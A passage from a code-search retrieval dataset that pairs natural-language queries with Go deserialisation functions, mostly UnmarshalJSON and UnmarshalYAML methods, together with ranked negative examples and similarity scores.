\\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (n *NumberInAdvancedFilter) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", n, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"key\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Key\\\", &n.Key)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"operatorType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"OperatorType\\\", &n.OperatorType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"values\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Values\\\", &n.Values)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", n, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (d *DelegatedSubnets) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", d, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &d.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &d.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", d, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func Unflatten(flat map[string]interface{}) (nested map[string]interface{}, err error) {\\n\\tnested = make(map[string]interface{})\\n\\n\\tfor k, v := range flat {\\n\\t\\ttemp := uf(k, v).(map[string]interface{})\\n\\t\\terr = mergo.Merge(&nested, temp)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t}\\n\\n\\twalk(reflect.ValueOf(nested))\\n\\n\\treturn\\n}\",\n \"func (j *Type) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *Element) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonB83d7b77DecodeGoplaygroundMyjson2(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (s *ServiceCountryListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &s.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &s.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *ProductShrinkedArr) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeBackendInternalModels2(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (c *RelationshipDataContainer) UnmarshalJSON(payload []byte) error {\\n\\tif bytes.HasPrefix(payload, []byte(\\\"{\\\")) {\\n\\t\\t// payload is an object\\n\\t\\treturn json.Unmarshal(payload, &c.DataObject)\\n\\t}\\n\\n\\tif bytes.HasPrefix(payload, []byte(\\\"[\\\")) {\\n\\t\\t// payload is an array\\n\\t\\treturn json.Unmarshal(payload, &c.DataArray)\\n\\t}\\n\\n\\treturn errors.New(\\\"Invalid json for relationship data array/object\\\")\\n}\",\n \"func (s *SubnetListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &s.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &s.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (r *App) UnmarshalJSON(data []byte) error {\\n\\tout := make(CatsJSON)\\n\\te := json.Unmarshal(data, &out)\\n\\tif e != nil {\\n\\t\\treturn e\\n\\t}\\n\\tfor i, x := range out {\\n\\t\\tfor j, y := range x {\\n\\t\\t\\tR := r.Cats[i][j]\\n\\t\\t\\tif y.Value != nil {\\n\\t\\t\\t\\tswitch R.Type {\\n\\t\\t\\t\\tcase \\\"int\\\", \\\"port\\\":\\n\\t\\t\\t\\t\\ty.Value = int(y.Value.(float64))\\n\\t\\t\\t\\tcase \\\"duration\\\":\\n\\t\\t\\t\\t\\ty.Value = time.Duration(int(y.Value.(float64)))\\n\\t\\t\\t\\tcase \\\"stringslice\\\":\\n\\t\\t\\t\\t\\trt, ok := y.Value.([]string)\\n\\t\\t\\t\\t\\tro := []string{}\\n\\t\\t\\t\\t\\tif ok {\\n\\t\\t\\t\\t\\t\\tfor _, z := range rt {\\n\\t\\t\\t\\t\\t\\t\\tR.Validate(R, z)\\n\\t\\t\\t\\t\\t\\t\\tro = append(ro, z)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t\\tR.Value.Put(ro)\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t// case \\\"float\\\":\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t\\tR.Validate(R, y.Value)\\n\\t\\t\\tR.Value.Put(y.Value)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *Json) UnmarshalJSON(data []byte) error {\\n\\terr := json.Unmarshal(data, &j.data)\\n\\n\\tj.exists = (err == nil)\\n\\treturn err\\n}\",\n \"func (a *TemplateApply_Secrets) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]string)\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal string\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, fmt.Sprintf(\\\"error unmarshaling field %s\\\", fieldName))\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (e *ExternalOptimizeForConfigV1) UnmarshalJSON(data []byte) error {\\n\\tunmarshal := func(v interface{}) error {\\n\\t\\treturn json.Unmarshal(data, v)\\n\\t}\\n\\n\\treturn e.unmarshalWith(unmarshal)\\n}\",\n \"func (a *AzureAsyncOperationResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"error\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Error\\\", &a.Error)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"status\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Status\\\", &a.Status)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *UsersHandler) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson84c0690eDecodeMainHandlers(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (t *Tags) UnmarshalJSON(data []byte) error {\\n\\tvar dst []string\\n\\tif err := json.Unmarshal(data, &dst); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif dst == nil {\\n\\t\\treturn nil\\n\\t}\\n\\n\\t*t = make(Tags, 0, len(dst))\\n\\tfor _, s := range dst {\\n\\t\\tif s != \\\"\\\" {\\n\\t\\t\\t*t = append(*t, s)\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (j *Message) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (d *DeploymentListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", d, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &d.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &d.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", d, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *CreateNhAssetOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (jf *JsonnetFile) UnmarshalJSON(data []byte) error {\\n\\tvar s jsonFile\\n\\tif err := json.Unmarshal(data, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tjf.Dependencies = make(map[string]Dependency)\\n\\tfor _, d := range s.Dependencies {\\n\\t\\tjf.Dependencies[d.Name] = d\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *Producer) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (u *rootInfoUnion) UnmarshalJSON(body []byte) error {\\n\\ttype wrap struct {\\n\\t\\tdropbox.Tagged\\n\\t}\\n\\tvar w wrap\\n\\tvar err error\\n\\tif err = json.Unmarshal(body, &w); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tu.Tag = w.Tag\\n\\tswitch u.Tag {\\n\\tcase \\\"team\\\":\\n\\t\\tif err = json.Unmarshal(body, &u.Team); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\tcase \\\"user\\\":\\n\\t\\tif err = json.Unmarshal(body, &u.User); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *AzureWebCategoryListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &a.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &a.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *PostFull) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeGithubComMailcoursesTechnoparkDbmsForumGeneratedModels7(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (t *TestAllRoutesInput) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"message\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Message\\\", &t.Message)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"routingSource\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"RoutingSource\\\", &t.RoutingSource)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"twin\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Twin\\\", &t.Twin)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func unmarshal() {\\n\\tfmt.Println(\\\"=== json.unmarshal ===\\\")\\n\\tvar jsonBlob = []byte(`[\\n\\t\\t{\\\"name\\\": \\\"Bill\\\", \\\"age\\\": 109},\\n\\t\\t{\\\"name\\\": \\\"Bob\\\", \\\"age\\\": 5}\\n\\t]`)\\n\\n\\tvar persons []Person\\n\\terr := json.Unmarshal(jsonBlob, &persons)\\n\\tcheck(err)\\n\\n\\tfmt.Printf(\\\"%+v\\\\n\\\", persons)\\n}\",\n \"func (v *BlitzedItemResponse) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson6a975c40DecodeJsonBenchmark4(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (r *ResourceSKUListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", r, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &r.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &r.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", r, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (mr *MergeRequest) UnmarshalJSON(body []byte) error {\\n\\tvar m map[string]*json.RawMessage\\n\\terr := json.Unmarshal(body, &m)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor k, v := range m {\\n\\t\\tswitch k {\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar mergeProperties MergeProperties\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &mergeProperties)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tmr.MergeProperties = &mergeProperties\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (v *nestedQuery) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson390b7126DecodeGithubComChancedPicker17(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *Response) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (boot *Boot) UnmarshalJSON(b []byte) error {\\n\\ttype temp Boot\\n\\tvar t struct {\\n\\t\\ttemp\\n\\t\\tBootOptions common.Link\\n\\t\\tCertificates common.Link\\n\\t}\\n\\n\\terr := json.Unmarshal(b, &t)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*boot = Boot(t.temp)\\n\\n\\t// Extract the links to other entities for later\\n\\tboot.bootOptions = t.BootOptions.String()\\n\\tboot.certificates = t.Certificates.String()\\n\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (s *ServiceTagInformationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &s.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &s.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (w *Entry) UnmarshalJSON(bb []byte) error {\\n\\t<>\\n}\",\n \"func (v *ExtFilter) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson795c59c6DecodeGrapeGuardRules11(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *ItemCheckResponse) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson6a975c40DecodeJsonBenchmark2(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *ForceSettlementOrder) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.65750253","0.633139","0.61560655","0.6075191","0.6056709","0.6041073","0.6039857","0.6029452","0.5979324","0.5919202","0.59183013","0.5909902","0.588416","0.58788455","0.5870973","0.5867418","0.58537394","0.5833034","0.58277774","0.58243126","0.5803957","0.57970905","0.57928187","0.5781498","0.5778425","0.5773395","0.5772726","0.57666266","0.5735726","0.57203615","0.5711517","0.570623","0.5694471","0.5691192","0.56882644","0.5686213","0.56849533","0.568265","0.5678879","0.56785274","0.5675754","0.566721","0.56633586","0.5659887","0.5652516","0.56500524","0.5649769","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.564969","0.56470186","0.56438047","0.5636897","0.5635979","0.56262517","0.5619138","0.5619014","0.5618921","0.56180716","0.5611801","0.56043965","0.56028116","0.55968475","0.55924255","0.55901045","0.5589728","0.558903","0.5588504","0.55855167","0.5585037","0.55822176","0.55807304","0.55793077","0.5577978","0.5575073","0.55733013","0.55711013","0.5569374","0.5568957","0.5567838","0.55678076","0.5562823","0.5561824","0.55616164","0.55608517","0.556005","0.55586827","0.5557774"],"string":"[\n \"0.65750253\",\n \"0.633139\",\n \"0.61560655\",\n \"0.6075191\",\n \"0.6056709\",\n \"0.6041073\",\n \"0.6039857\",\n \"0.6029452\",\n \"0.5979324\",\n \"0.5919202\",\n \"0.59183013\",\n \"0.5909902\",\n \"0.588416\",\n \"0.58788455\",\n \"0.5870973\",\n \"0.5867418\",\n \"0.58537394\",\n \"0.5833034\",\n \"0.58277774\",\n \"0.58243126\",\n \"0.5803957\",\n \"0.57970905\",\n \"0.57928187\",\n \"0.5781498\",\n \"0.5778425\",\n \"0.5773395\",\n \"0.5772726\",\n \"0.57666266\",\n \"0.5735726\",\n \"0.57203615\",\n \"0.5711517\",\n \"0.570623\",\n \"0.5694471\",\n \"0.5691192\",\n \"0.56882644\",\n \"0.5686213\",\n \"0.56849533\",\n \"0.568265\",\n \"0.5678879\",\n \"0.56785274\",\n \"0.5675754\",\n \"0.566721\",\n \"0.56633586\",\n \"0.5659887\",\n \"0.5652516\",\n \"0.56500524\",\n \"0.5649769\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.564969\",\n \"0.56470186\",\n \"0.56438047\",\n \"0.5636897\",\n \"0.5635979\",\n \"0.56262517\",\n \"0.5619138\",\n \"0.5619014\",\n \"0.5618921\",\n \"0.56180716\",\n \"0.5611801\",\n \"0.56043965\",\n \"0.56028116\",\n \"0.55968475\",\n \"0.55924255\",\n \"0.55901045\",\n \"0.5589728\",\n \"0.558903\",\n \"0.5588504\",\n \"0.55855167\",\n \"0.5585037\",\n \"0.55822176\",\n \"0.55807304\",\n \"0.55793077\",\n \"0.5577978\",\n \"0.5575073\",\n \"0.55733013\",\n \"0.55711013\",\n \"0.5569374\",\n \"0.5568957\",\n \"0.5567838\",\n \"0.55678076\",\n \"0.5562823\",\n \"0.5561824\",\n \"0.55616164\",\n \"0.55608517\",\n \"0.556005\",\n \"0.55586827\",\n \"0.5557774\"\n]"},"document_score":{"kind":"string","value":"0.68228734"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106187,"cells":{"query":{"kind":"string","value":"UnmarshalYAML will unmarshal YAML into a flatten operation"},"document":{"kind":"string","value":"func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func yamlUnmarshal(y []byte, o interface{}, strict bool, opts ...JSONOpt) error {\n\tvo := reflect.ValueOf(o)\n\tunmarshalFn := yaml.Unmarshal\n\tif strict {\n\t\tunmarshalFn = yaml.UnmarshalStrict\n\t}\n\tj, err := yamlToJSON(y, &vo, unmarshalFn)\n\tif err != nil {\n\t\treturn 